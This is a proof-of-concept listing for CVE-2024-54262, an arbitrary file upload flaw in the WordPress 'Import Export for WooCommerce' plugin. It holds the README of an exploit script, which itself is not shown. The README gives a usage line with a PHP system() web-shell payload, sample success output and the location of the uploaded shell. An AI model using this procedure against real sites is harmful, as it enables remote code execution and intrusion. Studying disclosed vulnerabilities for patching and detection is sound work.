CVE-2024-54262 PoC — WordPress Import Export For WooCommerce plugin <= 1.6.2 - Arbitrary File Upload vulnerability

Source

Associated Vulnerability

Description

Exploit CVE-2024-54262: Arbitrary File Upload in Import Export for WooCommerce

Readme

# CVE-2024-54262
Exploit CVE-2024-54262: Arbitrary File Upload in Import Export for WooCommerce
# Overview
This script exploits a vulnerability in the "Import Export for WooCommerce" WordPress plugin. The vulnerability allows unauthorized users to upload arbitrary files, leading to potential remote code execution (RCE).

## Features:
- **Version Detection**: Automatically checks if the WordPress site is running a vulnerable plugin version.
- **Authentication**: Supports WordPress login for further exploitation.
- **File Upload**: Allows uploading of malicious PHP files for RCE.

## Prerequisites:

1. Python 3.x
2. Required Python libraries:
   - `requests`
   - `argparse`

Install dependencies using:
```bash
pip install requests
```
3.Ensure the target WordPress site uses the vulnerable version of the plugin.

## Usage:


```
usage: CVE-2024-54262.py [-h] --url URL --username USERNAME --password PASSWORD [--command COMMAND]

Exploit CVE-2024-54262: Arbitrary File Upload in Import Export for WooCommerce

options:
  -h, --help            show this help message and exit
  --url URL, -u URL     Base URL of the WordPress site
  --username USERNAME, -un USERNAME
                        Username for login
  --password PASSWORD, -p PASSWORD
                        Password for login
  --command COMMAND, -c COMMAND
                        PHP shell code to upload
```
### Example:
```
 CVE-2024-54262.py --url https://example.com --username admin --password admin --command "<?php system('ls'); ?>"
```
### Output Explanation

1. **The site is vulnerable.**
   - Indicates that the WordPress site is running a vulnerable plugin version.
2. **Logged in successfully.**
   - Confirms successful login with the provided credentials.
3. ```
   {
       "status": true,
       "code": 104,
       "message": "Success",
       "data": {
           "file_name": "import_manual_1737090262.php",
           "total_requests": 1,
           "import_columns": "all",
           "product_search_type": "SKU",
           "product_operation": "create_new_update_existing",
           "field_separator": ","
       }
   }

   
 - **Shell Name**: `import_manual_1737090262.php`
 - **Shell Path**: `wp-content/uploads/import-export-for-woocommerce/product/`
  
### Disclaimer
This tool is for educational purposes only. The author is not responsible for any misuse or damages caused by this script. Unauthorized access or exploitation of systems without explicit permission is illegal and unethical.

File Snapshot

 [4.0K]  /data/pocs/4d9327821384b028f5de55795934a9eedcec8770
├── [5.8K]  CVE-2024-54262.py
└── [2.4K]  README.md

0 directories, 2 files

Remarks